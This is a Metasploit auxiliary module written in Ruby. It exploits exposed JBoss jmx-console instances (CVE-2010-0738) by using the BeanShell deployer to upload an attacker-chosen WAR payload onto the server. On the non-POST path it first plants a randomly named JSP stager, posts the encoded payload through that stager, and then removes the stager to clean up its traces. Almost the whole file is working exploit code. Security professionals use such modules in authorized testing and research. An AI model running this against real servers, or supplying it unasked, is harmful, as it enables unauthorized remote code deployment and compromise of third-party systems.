##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::JBoss

  def initialize
    super(
      'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
      'Description' => %q{
        This module can be used to install a WAR file payload on JBoss servers that have
        an exposed "jmx-console" application. The payload is put on the server by
        using the jboss.system:BSHDeployer's createScriptDeployment() method.
      },
      'Author' => [
        'us3r777 <us3r777[at]n0b0.so>'
      ],
      'References' => [
        [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
        [ 'OSVDB', '64171' ],
        [ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
        [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
      ],
      'Actions' => [
        ['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
        ['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
      ],
      'DefaultAction' => 'Deploy',
      'License' => BSD_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],
        'Reliability' => []
      }
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
        OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
      ]
    )
  end

  def deploy_action(app_base, war_data)
    encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')

    if http_verb == 'POST'
      print_status('Deploying payload...')
      opts = {
        file: "#{app_base}.war",
        contents: encoded_payload
      }
    else
      print_status('Deploying stager...')
      stager_name = Rex::Text.rand_text_alpha(rand(8..15))
      stager_contents = stager_jsp(app_base)
      opts = {
        dir: "#{stager_name}.war",
        file: "#{stager_name}.war/#{stager_name}.jsp",
        contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
      }
    end

    bsh_payload = generate_bsh(:create, opts)
    package = deploy_bsh(bsh_payload)

    if package.nil?
      print_error('Deployment failed')
      return
    end

    print_good('Deployment successful')

    return if http_verb == 'POST'

    # call the stager to deploy our real payload war
    stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
    payload_data = "#{Rex::Text.rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}"
    print_status("Calling stager #{stager_uri} to deploy final payload...")
    res = deploy(
      'method' => 'POST',
      'data' => payload_data,
      'uri' => stager_uri
    )
    if res && res.code == 200
      print_good('Payload deployed')
    else
      print_error('Failed to deploy final payload')
    end

    # Remove the stager
    print_status('Removing stager...')
    files = {}
    files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
    files[:stager_base] = "#{stager_name}.war"
    delete_script = generate_bsh(:delete, files)
    res = deploy_package(delete_script, package)
    if res.nil?
      print_error('Unable to remove Stager')
    else
      print_good('Stager successfully removed')
    end
  end

  def undeploy_action(app_base)
    # Undeploy the WAR and the stager if needed
    print_status("Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")

    files = {}
    files[:app_base] = "#{app_base}.war"
    delete_script = generate_bsh(:delete, files)

    package = deploy_bsh(delete_script)
    if package.nil?
      print_error('Unable to remove WAR')
    else
      print_good('Successfully removed')
    end
  end

  def run
    app_base = datastore['APPBASE']

    case action.name
    when 'Deploy'
      unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
        print_error('WAR file not found')
        return
      end
      war_data = File.read(datastore['WARFILE'], mode: 'rb')
      deploy_action(app_base, war_data)
    when 'Undeploy'
      undeploy_action(app_base)
    end
  end
end